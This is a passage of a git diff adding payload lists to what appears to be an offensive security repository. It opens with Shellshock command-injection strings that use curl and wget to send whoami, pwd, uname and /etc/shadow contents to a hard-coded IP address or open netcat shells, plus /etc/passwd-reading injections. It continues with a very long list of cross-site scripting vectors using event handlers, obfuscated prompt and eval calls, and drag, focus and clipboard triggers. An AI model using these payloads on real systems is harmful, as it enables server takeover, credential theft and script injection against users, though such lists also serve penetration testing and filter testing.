-e /bin/bash &\`" +() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5" +() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6" +() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1" +() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7" +() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3" +() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8" +() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9" +() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`" +() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4" +cat /etc/hosts +$(`cat /etc/passwd`) +cat /etc/passwd +%0Acat%20/etc/passwd +{{ get_user_file("/etc/passwd") }} + + + +system('cat /etc/passwd'); + diff --git a/more_payloads/more-xxs-payloads.txt b/more_payloads/more-xxs-payloads.txt new file mode 100644 index 0000000..f5cc88f --- /dev/null +++ b/more_payloads/more-xxs-payloads.txt @@ -0,0 +1,6606 @@ +"-prompt(8)-" +'-prompt(8)-' +";a=prompt,a()// +';a=prompt,a()// +'-eval("window['pro'%2B'mpt'](8)")-' +"-eval("window['pro'%2B'mpt'](8)")-" +"onclick=prompt(8)>"@x.y +"onclick=prompt(8)>"@x.y + + + + + + +t> + +"> +lose focus! +click this! +copy this! +right click this! +copy this! +double click this! +drag this! +focus this! +input here! +press any key! +press any key! +press any key! +click this! +hover this! +hover this! +hover this! +click this! +paste here! +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test +test + + + + + + +test +test +test + +test +test +test +test +test + +test +test +test +test +test +test +test +test +test +test +test +
test
+
test
+
test
+
test
+
test
+
+
+
+
+
+
+
test
+
test
+
test
+
+
test
+
test
+
test
+
test
+
test
+
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+test +test +test +test +test + + + + + + + +test +test +test + + + +
drag me
+
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
drop here +
drag me
+
drag me
+
drag me
drop here +
drag me
drop here +
drag me
  • drop here
  • +
    drag me
  • drop here
  • +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here
    +
    drag me
    drop here
    +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    +
    drag me
    +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    +
    drag me
    +
    drag me
    drop here +
    drag me
    drop here +
    drag me
      drop here
    +
    drag me
      drop here
    +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    +
    drag me
    +
    drag me
    drop here +
    drag me
    drop here +
    drag me

    drop here

    +
    drag me

    drop here

    +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here +
    drag me
    drop here</plaintext> +<div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable>drop here</plaintext> +<div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable>drop here</pre> +<div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable>drop here</pre> +<div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable>drop here</progress> +<div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable>drop here</progress> +<div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable>drop here</q> +<div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable>drop here</q> +<div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable>drop here</rb> +<div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable>drop here</rb> +<div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable>drop here</rp> +<div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable>drop here</rp> +<div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable>drop here</rt> +<div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable>drop here</rt> +<div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable>drop here</rtc> +<div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable>drop here</rtc> +<div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable>drop here</ruby> +<div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable>drop here</ruby> +<div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable>drop here</s> +<div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable>drop here</s> +<div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable>drop here</samp> +<div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable>drop here</samp> +<div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable>drop here</script> +<div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable>drop here</script> +<div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable>drop here</section> +<div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable>drop here</section> +<div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable>drop here</select> +<div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable>drop here</select> +<div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable>drop here</shadow> +<div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable>drop here</shadow> +<div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable>drop here</slot> +<div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable>drop here</slot> +<div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable>drop here</small> +<div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable>drop here</small> +<div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable>drop here</source> +<div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable>drop here</source> +<div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable>drop here</spacer> +<div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable>drop here</spacer> +<div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable>drop here</span> +<div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable>drop here</span> +<div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable>drop here</strike> +<div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable>drop here</strike> +<div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable>drop here</strong> +<div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable>drop here</strong> +<div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable>drop here</style> +<div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable>drop here</style> +<div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable>drop here</sub> +<div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable>drop here</sub> +<div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable>drop here</summary> +<div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable>drop here</summary> +<div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable>drop here</sup> +<div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable>drop here</sup> +<div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable>drop here</svg> +<div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable>drop here</svg> +<div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable>drop here</table> +<div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable>drop here</table> +<div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable>drop here</tbody> +<div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable>drop here</tbody> +<div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable>drop here</td> +<div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable>drop here</td> +<div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable>drop here</template> +<div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable>drop here</template> +<div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable>drop here</textarea> +<div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable>drop here</textarea> +<div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable>drop here</tfoot> +<div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable>drop here</tfoot> +<div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable>drop here</th> +<div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable>drop here</th> +<div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable>drop here</thead> +<div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable>drop here</thead> +<div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable>drop here</time> +<div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable>drop here</time> +<div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable>drop here</title> +<div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable>drop here</title> +<div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable>drop here</tr> +<div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable>drop here</tr> +<div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable>drop here</track> +<div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable>drop here</track> +<div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable>drop here</tt> +<div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable>drop here</tt> +<div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable>drop here</u> +<div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable>drop here</u> +<div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable>drop here</ul> +<div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable>drop here</ul> +<div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable>drop here</var> +<div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable>drop here</var> +<div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable>drop here</video> +<div draggable="true" contenteditable>drag me</div><video ondrop=alert(1) contenteditable>drop here</video> +<div draggable="true" contenteditable>drag me</div><wbr ondragover=alert(1) contenteditable>drop here</wbr> +<div draggable="true" contenteditable>drag me</div><wbr ondrop=alert(1) contenteditable>drop here</wbr> +<div draggable="true" contenteditable>drag me</div><xmp ondragover=alert(1) contenteditable>drop here</xmp> +<div draggable="true" contenteditable>drag me</div><xmp ondrop=alert(1) contenteditable>drop here</xmp> +<div draggable="true" ondrag="alert(1)">test</div> +<div draggable="true" ondragend="alert(1)">test</div> +<div draggable="true" ondragenter="alert(1)">test</div> +<div draggable="true" ondragleave="alert(1)">test</div> +<div draggable="true" ondragstart="alert(1)">test</div> +<div id=x tabindex=1 onactivate=alert(1)></div> +<div id=x tabindex=1 onbeforeactivate=alert(1)></div> +<div id=x tabindex=1 onbeforedeactivate=alert(1)></div><input autofocus> +<div id=x tabindex=1 ondeactivate=alert(1)></div><input id=y autofocus> +<div id=x tabindex=1 onfocus=alert(1)></div> +<div id=x tabindex=1 onfocusin=alert(1)></div> +<div onbeforecopy="alert(1)" contenteditable>test</div> +<div onbeforecut="alert(1)" contenteditable>test</div> +<div onbeforepaste="alert(1)" contenteditable>test</div> +<div onblur=alert(1) tabindex=1 id=x></div><input autofocus> +<div onclick="alert(1)">test</div> +<div oncontextmenu="alert(1)">test</div> +<div oncopy="alert(1)" contenteditable>test</div> +<div oncut="alert(1)" contenteditable>test</div> +<div ondblclick="alert(1)">test</div> +<div onfocusout=alert(1) tabindex=1 id=x></div><input autofocus> +<div onkeydown="alert(1)" contenteditable>test</div> +<div onkeypress="alert(1)" contenteditable>test</div> +<div onkeyup="alert(1)" contenteditable>test</div> +<div onmousedown="alert(1)">test</div> +<div onmouseenter="alert(1)">test</div> +<div onmouseleave="alert(1)">test</div> +<div onmousemove="alert(1)">test</div> +<div onmouseout="alert(1)">test</div> +<div onmouseover="alert(1)">test</div> +<div onmouseup="alert(1)">test</div> +<div onpaste="alert(1)" contenteditable>test</div> +<dl draggable="true" ondrag="alert(1)">test</dl> +<dl draggable="true" ondragend="alert(1)">test</dl> +<dl draggable="true" ondragenter="alert(1)">test</dl> +<dl draggable="true" ondragleave="alert(1)">test</dl> +<dl draggable="true" ondragstart="alert(1)">test</dl> +<dl id=x tabindex=1 onactivate=alert(1)></dl> +<dl id=x tabindex=1 onbeforeactivate=alert(1)></dl> +<dl id=x tabindex=1 onbeforedeactivate=alert(1)></dl><input autofocus> +<dl id=x tabindex=1 ondeactivate=alert(1)></dl><input id=y autofocus> +<dl id=x tabindex=1 onfocus=alert(1)></dl> +<dl id=x tabindex=1 onfocusin=alert(1)></dl> +<dl onbeforecopy="alert(1)" contenteditable>test</dl> +<dl onbeforecut="alert(1)" contenteditable>test</dl> +<dl onbeforepaste="alert(1)" contenteditable>test</dl> +<dl onblur=alert(1) tabindex=1 id=x></dl><input autofocus> +<dl onclick="alert(1)">test</dl> +<dl oncontextmenu="alert(1)">test</dl> +<dl oncopy="alert(1)" contenteditable>test</dl> +<dl oncut="alert(1)" contenteditable>test</dl> +<dl ondblclick="alert(1)">test</dl> +<dl onfocusout=alert(1) tabindex=1 id=x></dl><input autofocus> +<dl onkeydown="alert(1)" contenteditable>test</dl> +<dl onkeypress="alert(1)" contenteditable>test</dl> +<dl onkeyup="alert(1)" contenteditable>test</dl> +<dl onmousedown="alert(1)">test</dl> +<dl onmouseenter="alert(1)">test</dl> +<dl onmouseleave="alert(1)">test</dl> +<dl onmousemove="alert(1)">test</dl> +<dl onmouseout="alert(1)">test</dl> +<dl onmouseover="alert(1)">test</dl> +<dl onmouseup="alert(1)">test</dl> +<dl onpaste="alert(1)" contenteditable>test</dl> +<dt draggable="true" ondrag="alert(1)">test</dt> +<dt draggable="true" ondragend="alert(1)">test</dt> +<dt draggable="true" ondragenter="alert(1)">test</dt> +<dt draggable="true" ondragleave="alert(1)">test</dt> +<dt draggable="true" ondragstart="alert(1)">test</dt> +<dt id=x tabindex=1 onactivate=alert(1)></dt> +<dt id=x tabindex=1 onbeforeactivate=alert(1)></dt> +<dt id=x tabindex=1 onbeforedeactivate=alert(1)></dt><input autofocus> +<dt id=x tabindex=1 ondeactivate=alert(1)></dt><input id=y autofocus> +<dt id=x tabindex=1 onfocus=alert(1)></dt> +<dt id=x tabindex=1 onfocusin=alert(1)></dt> +<dt onbeforecopy="alert(1)" contenteditable>test</dt> +<dt onbeforecut="alert(1)" contenteditable>test</dt> +<dt onbeforepaste="alert(1)" contenteditable>test</dt> +<dt onblur=alert(1) tabindex=1 id=x></dt><input autofocus> +<dt onclick="alert(1)">test</dt> +<dt oncontextmenu="alert(1)">test</dt> +<dt oncopy="alert(1)" contenteditable>test</dt> +<dt oncut="alert(1)" contenteditable>test</dt> +<dt ondblclick="alert(1)">test</dt> +<dt onfocusout=alert(1) tabindex=1 id=x></dt><input autofocus> +<dt onkeydown="alert(1)" contenteditable>test</dt> +<dt onkeypress="alert(1)" contenteditable>test</dt> +<dt onkeyup="alert(1)" contenteditable>test</dt> +<dt onmousedown="alert(1)">test</dt> +<dt onmouseenter="alert(1)">test</dt> +<dt onmouseleave="alert(1)">test</dt> +<dt onmousemove="alert(1)">test</dt> +<dt onmouseout="alert(1)">test</dt> +<dt onmouseover="alert(1)">test</dt> +<dt onmouseup="alert(1)">test</dt> +<dt onpaste="alert(1)" contenteditable>test</dt> +<element draggable="true" ondrag="alert(1)">test</element> +<element draggable="true" ondragend="alert(1)">test</element> +<element draggable="true" ondragenter="alert(1)">test</element> +<element draggable="true" ondragleave="alert(1)">test</element> +<element draggable="true" ondragstart="alert(1)">test</element> +<element id=x tabindex=1 onactivate=alert(1)></element> +<element id=x tabindex=1 onbeforeactivate=alert(1)></element> +<element id=x tabindex=1 onbeforedeactivate=alert(1)></element><input autofocus> +<element id=x tabindex=1 ondeactivate=alert(1)></element><input id=y autofocus> +<element id=x tabindex=1 onfocus=alert(1)></element> +<element id=x tabindex=1 onfocusin=alert(1)></element> +<element onbeforecopy="alert(1)" contenteditable>test</element> +<element onbeforecut="alert(1)" contenteditable>test</element> +<element onbeforepaste="alert(1)" contenteditable>test</element> +<element onblur=alert(1) tabindex=1 id=x></element><input autofocus> +<element onclick="alert(1)">test</element> +<element oncontextmenu="alert(1)">test</element> +<element oncopy="alert(1)" contenteditable>test</element> +<element oncut="alert(1)" contenteditable>test</element> +<element ondblclick="alert(1)">test</element> +<element onfocusout=alert(1) tabindex=1 id=x></element><input autofocus> +<element onkeydown="alert(1)" contenteditable>test</element> +<element onkeypress="alert(1)" contenteditable>test</element> +<element onkeyup="alert(1)" contenteditable>test</element> +<element onmousedown="alert(1)">test</element> +<element onmouseenter="alert(1)">test</element> +<element onmouseleave="alert(1)">test</element> +<element onmousemove="alert(1)">test</element> +<element onmouseout="alert(1)">test</element> +<element onmouseover="alert(1)">test</element> +<element onmouseup="alert(1)">test</element> +<element onpaste="alert(1)" contenteditable>test</element> +<em draggable="true" ondrag="alert(1)">test</em> +<em draggable="true" ondragend="alert(1)">test</em> +<em draggable="true" ondragenter="alert(1)">test</em> +<em draggable="true" ondragleave="alert(1)">test</em> +<em draggable="true" ondragstart="alert(1)">test</em> +<em id=x tabindex=1 onactivate=alert(1)></em> +<em id=x tabindex=1 onbeforeactivate=alert(1)></em> +<em id=x tabindex=1 onbeforedeactivate=alert(1)></em><input autofocus> +<em id=x tabindex=1 ondeactivate=alert(1)></em><input id=y autofocus> +<em id=x tabindex=1 onfocus=alert(1)></em> +<em id=x tabindex=1 onfocusin=alert(1)></em> +<em onbeforecopy="alert(1)" contenteditable>test</em> +<em onbeforecut="alert(1)" contenteditable>test</em> +<em onbeforepaste="alert(1)" contenteditable>test</em> +<em onblur=alert(1) tabindex=1 id=x></em><input autofocus> +<em onclick="alert(1)">test</em> +<em oncontextmenu="alert(1)">test</em> +<em oncopy="alert(1)" contenteditable>test</em> +<em oncut="alert(1)" contenteditable>test</em> +<em ondblclick="alert(1)">test</em> +<em onfocusout=alert(1) tabindex=1 id=x></em><input autofocus> +<em onkeydown="alert(1)" contenteditable>test</em> +<em onkeypress="alert(1)" contenteditable>test</em> +<em onkeyup="alert(1)" contenteditable>test</em> +<em onmousedown="alert(1)">test</em> +<em onmouseenter="alert(1)">test</em> +<em onmouseleave="alert(1)">test</em> +<em onmousemove="alert(1)">test</em> +<em onmouseout="alert(1)">test</em> +<em onmouseover="alert(1)">test</em> +<em onmouseup="alert(1)">test</em> +<em onpaste="alert(1)" contenteditable>test</em> +<embed draggable="true" ondrag="alert(1)">test</embed> +<embed draggable="true" ondragend="alert(1)">test</embed> +<embed draggable="true" ondragenter="alert(1)">test</embed> +<embed draggable="true" ondragleave="alert(1)">test</embed> +<embed draggable="true" ondragstart="alert(1)">test</embed> +<embed id=x onfocus=alert(1) type=text/html> +<embed id=x onfocusin=alert(1) type=text/html> +<embed id=x tabindex=1 onactivate=alert(1)></embed> +<embed id=x tabindex=1 onbeforeactivate=alert(1)></embed> +<embed id=x tabindex=1 onbeforedeactivate=alert(1)></embed><input autofocus> +<embed id=x tabindex=1 ondeactivate=alert(1)></embed><input id=y autofocus> +<embed onbeforecopy="alert(1)" contenteditable>test</embed> +<embed onbeforecut="alert(1)" contenteditable>test</embed> +<embed onbeforepaste="alert(1)" contenteditable>test</embed> +<embed onblur=alert(1) tabindex=1 id=x></embed><input autofocus> +<embed onclick="alert(1)">test</embed> +<embed oncontextmenu="alert(1)">test</embed> +<embed oncopy="alert(1)" contenteditable>test</embed> +<embed oncut="alert(1)" contenteditable>test</embed> +<embed ondblclick="alert(1)">test</embed> +<embed onfocusout=alert(1) tabindex=1 id=x></embed><input autofocus> +<embed onkeydown="alert(1)" contenteditable>test</embed> +<embed onkeypress="alert(1)" contenteditable>test</embed> +<embed onkeyup="alert(1)" contenteditable>test</embed> +<embed onmousedown="alert(1)">test</embed> +<embed onmouseenter="alert(1)">test</embed> +<embed onmouseleave="alert(1)">test</embed> +<embed onmousemove="alert(1)">test</embed> +<embed onmouseout="alert(1)">test</embed> +<embed onmouseover="alert(1)">test</embed> +<embed onmouseup="alert(1)">test</embed> +<embed onpaste="alert(1)" contenteditable>test</embed> +<embed src=/ onload=alert(1)> +<embed src=1 onerror=alert(1) type=image/gif> +<fieldset draggable="true" ondrag="alert(1)">test</fieldset> +<fieldset draggable="true" ondragend="alert(1)">test</fieldset> +<fieldset draggable="true" ondragenter="alert(1)">test</fieldset> +<fieldset draggable="true" ondragleave="alert(1)">test</fieldset> +<fieldset draggable="true" ondragstart="alert(1)">test</fieldset> +<fieldset id=x tabindex=1 onactivate=alert(1)></fieldset> +<fieldset id=x tabindex=1 onbeforeactivate=alert(1)></fieldset> +<fieldset id=x tabindex=1 onbeforedeactivate=alert(1)></fieldset><input autofocus> +<fieldset id=x tabindex=1 ondeactivate=alert(1)></fieldset><input id=y autofocus> +<fieldset id=x tabindex=1 onfocus=alert(1)></fieldset> +<fieldset id=x tabindex=1 onfocusin=alert(1)></fieldset> +<fieldset onbeforecopy="alert(1)" contenteditable>test</fieldset> +<fieldset onbeforecut="alert(1)" contenteditable>test</fieldset> +<fieldset onbeforepaste="alert(1)" contenteditable>test</fieldset> +<fieldset onblur=alert(1) tabindex=1 id=x></fieldset><input autofocus> +<fieldset onclick="alert(1)">test</fieldset> +<fieldset oncontextmenu="alert(1)">test</fieldset> +<fieldset oncopy="alert(1)" contenteditable>test</fieldset> +<fieldset oncut="alert(1)" contenteditable>test</fieldset> +<fieldset ondblclick="alert(1)">test</fieldset> +<fieldset onfocusout=alert(1) tabindex=1 id=x></fieldset><input autofocus> +<fieldset onkeydown="alert(1)" contenteditable>test</fieldset> +<fieldset onkeypress="alert(1)" contenteditable>test</fieldset> +<fieldset onkeyup="alert(1)" contenteditable>test</fieldset> +<fieldset onmousedown="alert(1)">test</fieldset> +<fieldset onmouseenter="alert(1)">test</fieldset> +<fieldset onmouseleave="alert(1)">test</fieldset> +<fieldset onmousemove="alert(1)">test</fieldset> +<fieldset onmouseout="alert(1)">test</fieldset> +<fieldset onmouseover="alert(1)">test</fieldset> +<fieldset onmouseup="alert(1)">test</fieldset> +<fieldset onpaste="alert(1)" contenteditable>test</fieldset> +<figcaption draggable="true" ondrag="alert(1)">test</figcaption> +<figcaption draggable="true" ondragend="alert(1)">test</figcaption> +<figcaption draggable="true" ondragenter="alert(1)">test</figcaption> +<figcaption draggable="true" ondragleave="alert(1)">test</figcaption> +<figcaption draggable="true" ondragstart="alert(1)">test</figcaption> +<figcaption id=x tabindex=1 onactivate=alert(1)></figcaption> +<figcaption id=x tabindex=1 onbeforeactivate=alert(1)></figcaption> +<figcaption id=x tabindex=1 onbeforedeactivate=alert(1)></figcaption><input autofocus> +<figcaption id=x tabindex=1 ondeactivate=alert(1)></figcaption><input id=y autofocus> +<figcaption id=x tabindex=1 onfocus=alert(1)></figcaption> +<figcaption id=x tabindex=1 onfocusin=alert(1)></figcaption> +<figcaption onbeforecopy="alert(1)" contenteditable>test</figcaption> +<figcaption onbeforecut="alert(1)" contenteditable>test</figcaption> +<figcaption onbeforepaste="alert(1)" contenteditable>test</figcaption> +<figcaption onblur=alert(1) tabindex=1 id=x></figcaption><input autofocus> +<figcaption onclick="alert(1)">test</figcaption> +<figcaption oncontextmenu="alert(1)">test</figcaption> +<figcaption oncopy="alert(1)" contenteditable>test</figcaption> +<figcaption oncut="alert(1)" contenteditable>test</figcaption> +<figcaption ondblclick="alert(1)">test</figcaption> +<figcaption onfocusout=alert(1) tabindex=1 id=x></figcaption><input autofocus> +<figcaption onkeydown="alert(1)" contenteditable>test</figcaption> +<figcaption onkeypress="alert(1)" contenteditable>test</figcaption> +<figcaption onkeyup="alert(1)" contenteditable>test</figcaption> +<figcaption onmousedown="alert(1)">test</figcaption> +<figcaption onmouseenter="alert(1)">test</figcaption> +<figcaption onmouseleave="alert(1)">test</figcaption> +<figcaption onmousemove="alert(1)">test</figcaption> +<figcaption onmouseout="alert(1)">test</figcaption> +<figcaption onmouseover="alert(1)">test</figcaption> +<figcaption onmouseup="alert(1)">test</figcaption> +<figcaption onpaste="alert(1)" contenteditable>test</figcaption> +<figure draggable="true" ondrag="alert(1)">test</figure> +<figure draggable="true" ondragend="alert(1)">test</figure> +<figure draggable="true" ondragenter="alert(1)">test</figure> +<figure draggable="true" ondragleave="alert(1)">test</figure> +<figure draggable="true" ondragstart="alert(1)">test</figure> +<figure id=x tabindex=1 onactivate=alert(1)></figure> +<figure id=x tabindex=1 onbeforeactivate=alert(1)></figure> +<figure id=x tabindex=1 onbeforedeactivate=alert(1)></figure><input autofocus> +<figure id=x tabindex=1 ondeactivate=alert(1)></figure><input id=y autofocus> +<figure id=x tabindex=1 onfocus=alert(1)></figure> +<figure id=x tabindex=1 onfocusin=alert(1)></figure> +<figure onbeforecopy="alert(1)" contenteditable>test</figure> +<figure onbeforecut="alert(1)" contenteditable>test</figure> +<figure onbeforepaste="alert(1)" contenteditable>test</figure> +<figure onblur=alert(1) tabindex=1 id=x></figure><input autofocus> +<figure onclick="alert(1)">test</figure> +<figure oncontextmenu="alert(1)">test</figure> +<figure oncopy="alert(1)" contenteditable>test</figure> +<figure oncut="alert(1)" contenteditable>test</figure> +<figure ondblclick="alert(1)">test</figure> +<figure onfocusout=alert(1) tabindex=1 id=x></figure><input autofocus> +<figure onkeydown="alert(1)" contenteditable>test</figure> +<figure onkeypress="alert(1)" contenteditable>test</figure> +<figure onkeyup="alert(1)" contenteditable>test</figure> +<figure onmousedown="alert(1)">test</figure> +<figure onmouseenter="alert(1)">test</figure> +<figure onmouseleave="alert(1)">test</figure> +<figure onmousemove="alert(1)">test</figure> +<figure onmouseout="alert(1)">test</figure> +<figure onmouseover="alert(1)">test</figure> +<figure onmouseup="alert(1)">test</figure> +<figure onpaste="alert(1)" contenteditable>test</figure> +<font draggable="true" ondrag="alert(1)">test</font> +<font draggable="true" ondragend="alert(1)">test</font> +<font draggable="true" ondragenter="alert(1)">test</font> +<font draggable="true" ondragleave="alert(1)">test</font> +<font draggable="true" ondragstart="alert(1)">test</font> +<font id=x tabindex=1 onactivate=alert(1)></font> +<font id=x tabindex=1 onbeforeactivate=alert(1)></font> +<font id=x tabindex=1 onbeforedeactivate=alert(1)></font><input autofocus> +<font id=x tabindex=1 ondeactivate=alert(1)></font><input id=y autofocus> +<font id=x tabindex=1 onfocus=alert(1)></font> +<font id=x tabindex=1 onfocusin=alert(1)></font> +<font onbeforecopy="alert(1)" contenteditable>test</font> +<font onbeforecut="alert(1)" contenteditable>test</font> +<font onbeforepaste="alert(1)" contenteditable>test</font> +<font onblur=alert(1) tabindex=1 id=x></font><input autofocus> +<font onclick="alert(1)">test</font> +<font oncontextmenu="alert(1)">test</font> +<font oncopy="alert(1)" contenteditable>test</font> +<font 